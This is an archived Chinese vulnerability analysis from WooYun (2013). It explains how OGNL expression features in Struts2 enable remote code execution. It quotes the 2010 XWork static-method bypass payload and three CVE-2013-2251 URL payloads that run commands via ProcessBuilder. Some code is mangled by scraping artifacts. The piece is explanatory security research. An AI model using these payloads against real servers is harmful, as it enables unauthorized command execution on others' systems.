# OGNL设计及使用不当造成的远程代码执行漏洞

Author: 乌云历史资料库 (@wooyun_archive)
Published: 2013-07-19T06:48:00Z
Canonical: https://wepostx.com/topics/700

> 乌云历史资料归档
>
> **原始作者：** 紫气东来
> **原始编号：** superkieran-wooyundrops:46
> **原始发布时间：** 2013-07-19 14:48
> **声明：内容仅用于技术研究和个人使用，版权归 wooyun.org。**

---

我们可以把OGNL作为一个底层产品,它在功能实现中的设计缺陷,是如何能够被利用并远程执行恶意代码的,而不是完全在struts2这个产品的功能设计层面去讨论漏洞原由!

#### 什么是OGNL?
OGNL是Object-Graph Navigation Language的缩写，它是一种功能强大的表达式语言（Expression Language，简称为EL），通过它简单一致的表达式语法，可以存取对象的任意属性，调用对象的方法，遍历整个对象的结构图，实现字段类型转化等功能。它使用相同的表达式去存取对象的属性。 OGNL三要素：(以下部分摘抄互联网某处,我觉得说得好)

```text
Ognl.setValue("department.name", user2, "dev"); System.out.println(user2.getDepartment().getName()); Ognl.setValue(Ognl.parseexpression_r("department.name"), context, user2, "otherDev"); System.out.println(user2.getDepartment().getName()); Ognl.setValue("department.name", user2, "dev"); System.out.println(user2.getDepartment().getName()); Ognl.setValue(Ognl.parseexpression_r("department.name"), context, user2, "otherDev"); System.out.println(user2.getDepartment().getName());
```

#### 1. 表达式（Expression）
表达式是整个OGNL的核心，所有的OGNL操作都是针对表达式的解析后进行的。表达式会规定此次OGNL操作到底要干什么。我们可以看到，在上面的测试中，name、department.name等都是表达式，表示取name或者department中的name的值。OGNL支持很多类型的表达式，之后我们会看到更多。

#### 2. 根对象（Root Object）
根对象可以理解为OGNL的操作对象。在表达式规定了“干什么”以后，你还需要指定到底“对谁干”。在上面的测试代码中，user就是根对象。这就意味着，我们需要对user这个对象去取name这个属性的值（对user这个对象去设置其中的department中的name属性值）。

#### 3. 上下文环境（Context）
有了表达式和根对象，我们实际上已经可以使用OGNL的基本功能。例如，根据表达式对根对象进行取值或者设值工作。不过实际上，在OGNL的内部，所有的操作都会在一个特定的环境中运行，这个环境就是OGNL的上下文环境（Context）。说得再明白一些，就是这个上下文环境（Context），将规定OGNL的操作“在哪里干”。 OGN L的上下文环境是一个Map结构，称之为OgnlContext。上面我们提到的根对象（Root Object），事实上也会被加入到上下文环境中去，并且这将作为一个特殊的变量进行处理，具体就表现为针对根对象（Root Object）的存取操作的表达式是不需要增加#符号进行区分的。
Struts 2中的OGNL Context实现者为ActionContext，它结构示意图如下:

![原文图片](/media/2016/06/3f73372c9d4882c3dd94b6dd3a0b7b5b)

当Struts2接受一个请求时，会迅速创建ActionContext，ValueStack，action 。然后把action存放进ValueStack，所以action的实例变量可以被OGNL访问
那struts2引入OGNL到底用来干什么?
我们知道在MVC中,其实所有的工作就是在各层间做数据流转.
在View层的数据是单一的,只有不带数据类型的字符串.在没有框架的时代我们使用的是手动写代码或者像struts1一样利用反射,填充表单数据并转换到Controller层的对象中，反射转换成java数据类型的commons组件伪代码,如：

```text
import javax.servlet.ServletException; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import org.apache.commons.beanutils.ConvertUtils; import org.apache.commons.beanutils.PropertyUtils; //自动装载表单及验证 public class LoadForm { //表单装载 public static Object parseRequest(HttpServletRequest request,HttpServletResponse response,Object bean) throws ServletException, IOException{ //取得所有参数列表 Enumeration<?> enums = request.getParameterNames(); //遍历所有参数列表 while(enums.hasMoreElements()){ Object obj = enums.nextElement(); try { //取得这个参数在Bean中的数据类开 Class<?> cls = PropertyUtils.getPropertyType(bean, obj.toString()); //把相应的数据转换成对应的数据类型 Object beanValue = ConvertUtils.convert(request.getParameter(obj.toString()), cls); //填充Bean值 PropertyUtils.setProperty(bean, obj.toString(), beanValue); } catch (Exception e) { //不显示异常 e.printStackTrace(); } } return bean; } }
```
从Controller层到View层,还是手动写代码然后到页面上取,如伪代码:

```text
request.setAttribute("xxx", "xxx");
```
而Struts2采纳了XWork的一套完美方案(Xwork提供了很多核心功能：前端拦截机（interceptor），运行时表单属性验证，类型转换，强大的表达式语言（OGNL – the Object Graph Navigation Language），IoC（Inversion of Control反转控制）容器等). 并在此基础上构建一套所谓完美的机制,OGNL方案和OGNLValueStack机制.
View层到Controller层自动转储;然后是Controller层到View层,我们可以使用简易的表达式取对象数据显示到页面,如: ${对象.属性},节省不少代码时间且使用方便.而它的存储结构就是一棵对象，这里我们可以把对象树当成一个java对象寄存器，可以方便添加、访问对象等。 但是OGNL的这些功能或机制是危险的.
我们列举一下表达式功能操作清单：

```text
1. 基本对象树的访问 对象树的访问就是通过使用点号将对象的引用串联起来进行。 例如：xxxx，xxxx.xxxx，xxxx. xxxx. xxxx. xxxx. xxxx 2. 对容器变量的访问 对容器变量的访问，通过#符号加上表达式进行。 例如：#xxxx，#xxxx. xxxx，#xxxx.xxxxx. xxxx. xxxx. xxxx 3. 使用操作符号 OGNL表达式中能使用的操作符基本跟Java里的操作符一样，除了能使用 +, -, *, /, ++, --, ==, !=, = 等操作符之外，还能使用 mod, in, not in等。 4. 容器、数组、对象 OGNL支持对数组和ArrayList等容器的顺序访问：例如：group.users[0] 同时，OGNL支持对Map的按键值查找： 例如：#session['mySessionPropKey'] 不仅如此，OGNL还支持容器的构造的表达式： 例如：{"green", "red", "blue"}构造一个List，#{"key1" : "value1", "key2" : "value2", "key3" : "value3"}构造一个Map 你也可以通过任意类对象的构造函数进行对象新建： 例如：new Java.net.URL("xxxxxx/") 5. 对静态方法或变量的访问 要引用类的静态方法和字段， [email protected] @ [email protected] @method(args)： 例如：@ [email protected] ，@ [email protected] 6. 方法调用 直接通过类似Java的方法调用方式进行，你甚至可以传递参数： 例如：user.getName()，group.users.size()，group.containsUser(#requestUser) 7. 投影和选择 OGNL支持类似数据库中的投影（projection） 和选择（selection）。 投影就是选出集合中每个元素的相同属性组成新的集合，类似于关系数据库的字段操作。投影操作语法为 collection.{XXX}，其中XXX 是这个集合中每个元素的公共属性。 例如：group.userList.{username}将获得某个group中的所有user的name的列表。 选择就是过滤满足selection 条件的集合元素，类似于关系数据库的纪录操作。选择操作的语法为：collection.{X YYY}，其中X 是一个选择操作符，后面则是选择用的逻辑表达式。而选择操作符有三种： ? 选择满足条件的所有元素 ^ 选择满足条件的第一个元素 $ 选择满足条件的最后一个元素 例如：group.userList.{? #txxx.xxx != null}将获得某个group中user的name不为空的user的列表。
```
结合之前的漏洞POC,只举两例漏洞说明本质问题所在(其他类似,如:安全限制绕过,非必要使用OGNL或奇葩地利用OGNL实现设计功能等).那么只要struts2的某些功能使用了OGNL功能,且外部参数传入OGNL流程的,理论上都是能够执行恶意代码的.
参照之前的PoC从“表达式功能操作清单”中选取“危险项清单”,一些危险的功能操作,问题就出现在它们身上，提供了比较有危害PoC的构造条件:

```text
1. 基本对象树的访问 对象树的访问就是通过使用点号将对象的引用串联起来进行。 例如：xxxx，xxxx.xxxx，xxxx. xxxx. xxxx. xxxx. xxxx 2. 对容器变量的访问 对容器变量的访问，通过#符号加上表达式进行。 例如：#xxxx，#xxxx. xxxx，#xxxx.xxxxx. xxxx. xxxx. xxxx 3. 容器、数组、对象 OGNL支持对数组和ArrayList等容器的顺序访问：例如：group.users[0] 同时，OGNL支持对Map的按键值查找： 例如：#session['mySessionPropKey'] 不仅如此，OGNL还支持容器的构造的表达式： 例如：{"green", "red", "blue"}构造一个List，#{"key1" : "value1", "key2" : "value2", "key3" : "value3"}构造一个Map 你也可以通过任意类对象的构造函数进行对象新建： 例如：new Java.net.URL("xxxxxx/") 4. 对静态方法或变量的访问 要引用类的静态方法和字段， [email protected] @ [email protected] @method(args)： 例如：@ [email protected] ，@ [email protected] 5. 方法调用 直接通过类似Java的方法调用方式进行，你甚至可以传递参数： 例如：user.getName()，group.users.size()，group.containsUser(#requestUser)
```
以及上下文环境和这个struts2设计，当Struts2接受一个请求时，会迅速创建ActionContext，ValueStack，action 。然后把action存放进ValueStack，所以action的实例变量可以被OGNL访问。
第一个,是2010年7月14号(亮点1:乌云好象就是这天出生的吧?),"Struts2/XWork < 2.2.0远程执行任意代码漏洞",POC:

```text
?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&amp;(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&amp;(asdf)(('\u0023rt.exit(1)')(\u0023rt\ [email protected] @getRuntime()))=1
```
也就是这个经典的POC,大家开始第一次认识struts2漏洞(之前也有，只是那时很少有人去关注,或许很容易就能找到一个0day(而且是永远的0day,回溯一下框架历史,我不能再提示了!)。 myibatis框架也有引入OGNL的,亲!
由于ONGL的调用可以通过http传参来执行，为了防止攻击者以此来调用任意方法，Xwork设置了两个参数来进行防护：

```text
OgnlContext的属性 'xwork.MethodAccessor.denyMethodExecution'（默认为真） SecurityMemberAccess私有字段'allowStaticMethodAccess'（默认为假）
```
(这里我现在还没想明白,既然都有这步限制了?为什么后面的那些还会出现,难道官方只会看着公布的PoC打补丁?)
这里大家都知道,是使用#限制OgnlContext 'xwork.MethodAccessor.denyMethodExecution'和'allowStaticMethodAccess'上下文访问以及静态方法调用的值设置.而漏洞作者使用十六进制编码绕过了限制,[email protected]@getRuntime()这个静态方法执行命令.

```text
java.lang.Runtime.getRuntime().exit(1) （终止当前正在运行的 Java 虚拟机）
```
在某些struts2漏洞中已经开始改变这个观念,因为我们很难再绕过上面的安全限制了.去调用上下文的属性及静态方法执行恶意java代码.
但是"危险清单"中还有一个可以利用,OGNL表达式中居然可以去new一个java对象(见危险项清单 3.),对于构造PoC足够用了，而不需要上面那些条件.(之前也有类似的相关漏洞,我发现官方并不喜欢做代码审计的)
Apache Struts CVE-2013-2251 Multiple Remote Command Execution Vulnerabilities
这里漏洞原理大致是这样,作者一共提供了三个PoC:

```text
http://www.example.com/struts2-blank/example/X.action?action:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()} (这个和后面两个是有点区别的，多测试目标时你会发现！) http://www.example.com/struts2-showcase/employee/save.action?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()} http://www.example.com/struts2-showcase/employee/save.action?redirectAction:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()} action: redirect: redirectAction:
```
这三关键字是struts2设计出来做短地址导航的,但它奇葩地方在于,如：redirectAction:${恶意代码}后面可以跟OGNL表达式执行,找这种相关的漏洞很好找（如果还有）,查看struts2源代码${},%{}等(struts2只认定这些特征的代码进入OGNL表达式执行流程)，struts2执行ognl表达式的实现功能的地方.
而java.lang.ProcessBuilder是另外一个可以执行命令的java基础类,还有后面大家手中的PoC(new文件操作及输入输出流相关危险类等),此时我们发现只要new对象然后调用其方法就可以了.不再需要上面的一些静态方法等.
这里只能将OGNL和struts2各打50大板了!

## Replies
